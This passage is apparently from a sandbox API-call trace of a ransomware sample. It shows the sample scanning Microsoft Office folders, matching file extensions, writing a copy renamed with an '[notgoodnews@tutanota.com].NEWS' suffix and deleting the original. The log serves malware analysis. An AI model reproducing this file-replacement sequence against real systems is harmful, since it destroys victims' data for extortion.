Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.840] lstrlenW (lpString=".zip") returned 4 [0262.841] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0262.841] lstrlenW (lpString=".rar") returned 4 [0262.841] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0262.841] lstrlenW (lpString=".bz2") returned 4 [0262.841] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0262.841] lstrlenW (lpString=".7z") returned 3 [0262.841] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.841] lstrlenW (lpString=".dbf") returned 4 [0262.841] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.841] lstrlenW (lpString=".1cd") returned 4 [0262.841] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL") returned 70 [0262.842] lstrlenW (lpString=".jpg") returned 4 [0262.842] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0262.842] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0262.842] lstrlenW (lpString="BULLETS.DLL") returned 11 [0262.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.035] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=15264) returned 1 [0264.035] CloseHandle (hObject=0x3b4) returned 1 [0264.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll")) returned 0x20 [0264.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0264.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.036] lstrlenW (lpString=".doc") returned 4 [0264.036] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0264.036] lstrlenW (lpString=".docx") returned 5 [0264.036] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0264.036] lstrlenW (lpString=".pdf") returned 4 [0264.037] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0264.037] lstrlenW (lpString=".xls") returned 4 [0264.037] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0264.037] lstrlenW (lpString=".xlsx") returned 5 [0264.037] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0264.037] lstrlenW (lpString=".ppt") returned 4 [0264.037] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0264.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.037] lstrlenW (lpString=".zip") returned 4 [0264.037] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0264.037] lstrlenW (lpString=".rar") returned 4 [0264.037] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0264.038] lstrlenW (lpString=".bz2") returned 4 [0264.038] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0264.038] lstrlenW (lpString=".7z") returned 3 [0264.038] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0264.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.039] lstrlenW (lpString=".dbf") returned 4 [0264.039] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0264.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.039] lstrlenW (lpString=".1cd") returned 4 [0264.039] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0264.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.039] lstrlenW (lpString=".jpg") returned 4 [0264.039] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0264.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.040] lstrlenW (lpString=".doc") returned 4 [0264.040] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0264.040] lstrlenW (lpString=".docx") returned 5 [0264.040] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0264.040] lstrlenW (lpString=".pdf") returned 4 [0264.040] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0264.040] lstrlenW (lpString=".xls") returned 4 [0264.040] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0264.040] lstrlenW (lpString=".xlsx") returned 5 [0264.041] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0264.041] lstrlenW (lpString=".ppt") returned 4 [0264.041] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0264.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.041] lstrlenW (lpString=".zip") returned 4 [0264.041] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0264.041] lstrlenW (lpString=".rar") returned 4 [0264.041] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0264.041] lstrlenW (lpString=".bz2") returned 4 [0264.041] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0264.041] lstrlenW (lpString=".7z") returned 3 [0264.041] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0264.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.042] lstrlenW (lpString=".dbf") returned 4 [0264.042] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0264.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.042] lstrlenW (lpString=".1cd") returned 4 [0264.042] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0264.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0264.042] lstrlenW (lpString=".jpg") returned 4 [0264.042] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0264.043] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0264.043] lstrlenW (lpString="LINES.DLL") returned 9 [0264.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.204] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=15256) returned 1 [0264.205] CloseHandle (hObject=0x3b4) returned 1 [0264.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll")) returned 0x20 [0265.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0265.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.215] lstrlenW (lpString=".doc") returned 4 [0265.215] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.215] lstrlenW (lpString=".docx") returned 5 [0265.215] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0265.215] lstrlenW (lpString=".pdf") returned 4 [0265.215] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.215] lstrlenW (lpString=".xls") returned 4 [0265.215] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.215] lstrlenW (lpString=".xlsx") returned 5 [0265.216] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0265.216] lstrlenW (lpString=".ppt") returned 4 [0265.216] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.216] lstrlenW (lpString=".zip") returned 4 [0265.216] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.216] lstrlenW (lpString=".rar") returned 4 [0265.216] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.216] lstrlenW (lpString=".bz2") returned 4 [0265.216] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.216] lstrlenW (lpString=".7z") returned 3 [0265.216] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.216] lstrlenW (lpString=".dbf") returned 4 [0265.216] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.217] lstrlenW (lpString=".1cd") returned 4 [0265.217] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.217] lstrlenW (lpString=".jpg") returned 4 [0265.217] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.217] lstrlenW (lpString=".doc") returned 4 [0265.217] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.217] lstrlenW (lpString=".docx") returned 5 [0265.217] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0265.218] lstrlenW (lpString=".pdf") returned 4 [0265.218] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.218] lstrlenW (lpString=".xls") returned 4 [0265.218] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.218] lstrlenW (lpString=".xlsx") returned 5 [0265.218] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0265.218] lstrlenW (lpString=".ppt") returned 4 [0265.218] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.218] lstrlenW (lpString=".zip") returned 4 [0265.218] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.218] lstrlenW (lpString=".rar") returned 4 [0265.218] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.218] lstrlenW (lpString=".bz2") returned 4 [0265.218] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.218] lstrlenW (lpString=".7z") returned 3 [0265.219] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.219] lstrlenW (lpString=".dbf") returned 4 [0265.219] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.219] lstrlenW (lpString=".1cd") returned 4 [0265.219] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL") returned 64 [0265.219] lstrlenW (lpString=".jpg") returned 4 [0265.219] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.220] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0265.220] lstrlenW (lpString="OFFICE10.DLL") returned 12 [0265.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0265.780] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=15776) returned 1 [0265.781] CloseHandle (hObject=0x370) returned 1 [0265.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll")) returned 0x20 [0265.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0265.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0265.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0265.996] lstrlenW (lpString=".doc") returned 4 [0265.996] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.996] lstrlenW (lpString=".docx") returned 5 [0265.996] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0265.996] lstrlenW (lpString=".pdf") returned 4 [0265.996] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.996] lstrlenW (lpString=".xls") returned 4 [0265.996] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.997] lstrlenW (lpString=".xlsx") returned 5 [0265.997] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0265.997] lstrlenW (lpString=".ppt") returned 4 [0265.997] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0265.997] lstrlenW (lpString=".zip") returned 4 [0265.997] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.997] lstrlenW (lpString=".rar") returned 4 [0265.997] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.997] lstrlenW (lpString=".bz2") returned 4 [0265.997] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.997] lstrlenW (lpString=".7z") returned 3 [0265.997] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0265.998] lstrlenW (lpString=".dbf") returned 4 [0265.998] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0265.998] lstrlenW (lpString=".1cd") returned 4 [0265.998] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0265.998] lstrlenW (lpString=".jpg") returned 4 [0265.998] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0265.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0265.999] lstrlenW (lpString=".doc") returned 4 [0265.999] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.999] lstrlenW (lpString=".docx") returned 5 [0265.999] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0265.999] lstrlenW (lpString=".pdf") returned 4 [0265.999] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.999] lstrlenW (lpString=".xls") returned 4 [0265.999] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.999] lstrlenW (lpString=".xlsx") returned 5 [0265.999] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0265.999] lstrlenW (lpString=".ppt") returned 4 [0265.999] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0266.000] lstrlenW (lpString=".zip") returned 4 [0266.000] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0266.000] lstrlenW (lpString=".rar") returned 4 [0266.000] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0266.000] lstrlenW (lpString=".bz2") returned 4 [0266.000] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0266.000] lstrlenW (lpString=".7z") returned 3 [0266.000] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0266.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0266.000] lstrlenW (lpString=".dbf") returned 4 [0266.000] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0266.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0266.001] lstrlenW (lpString=".1cd") returned 4 [0266.001] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0266.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0266.001] lstrlenW (lpString=".jpg") returned 4 [0266.001] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0266.002] lstrcmpiW (lpString1=".MMW", lpString2=".NEWS") returned -1 [0266.002] lstrlenW (lpString="OFFICE10.MMW") returned 12 [0266.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0266.004] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=492624) returned 1 [0266.004] CloseHandle (hObject=0x188) returned 1 [0266.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 0x20 [0266.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0266.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0266.005] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0266.005] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0266.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0266.006] GetLastError () returned 0x0 [0266.006] ReadFile (in: hFile=0x188, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x78450, lpOverlapped=0x0) returned 1 [0266.125] WriteFile (in: hFile=0x3ac, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x78460, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x78460, lpOverlapped=0x0) returned 1 [0266.383] ReadFile (in: hFile=0x188, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0266.383] WriteFile (in: hFile=0x3ac, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.383] SetEndOfFile (hFile=0x3ac) returned 1 [0266.384] CloseHandle (hObject=0x3ac) returned 1 [0266.384] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0266.384] SetEndOfFile (hFile=0x188) returned 1 [0266.774] CloseHandle (hObject=0x188) returned 1 [0266.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0267.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 1 [0267.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.053] lstrlenW (lpString=".doc") returned 4 [0267.053] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0267.053] lstrlenW (lpString=".docx") returned 5 [0267.053] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0267.053] lstrlenW (lpString=".pdf") returned 4 [0267.053] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0267.053] lstrlenW (lpString=".xls") returned 4 [0267.053] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0267.053] lstrlenW (lpString=".xlsx") returned 5 [0267.053] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0267.053] lstrlenW (lpString=".ppt") returned 4 [0267.053] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0267.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.053] lstrlenW (lpString=".zip") returned 4 [0267.054] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0267.054] lstrlenW (lpString=".rar") returned 4 [0267.054] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0267.054] lstrlenW (lpString=".bz2") returned 4 [0267.054] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0267.054] lstrlenW (lpString=".7z") returned 3 [0267.054] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0267.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.054] lstrlenW (lpString=".dbf") returned 4 [0267.054] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0267.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.054] lstrlenW (lpString=".1cd") returned 4 [0267.055] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0267.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.055] lstrlenW (lpString=".jpg") returned 4 [0267.055] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0267.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.055] lstrlenW (lpString=".doc") returned 4 [0267.055] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0267.055] lstrlenW (lpString=".docx") returned 5 [0267.055] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0267.055] lstrlenW (lpString=".pdf") returned 4 [0267.055] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0267.056] lstrlenW (lpString=".xls") returned 4 [0267.056] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0267.056] lstrlenW (lpString=".xlsx") returned 5 [0267.056] lstrcmpiW (lpString1=".xlsx", 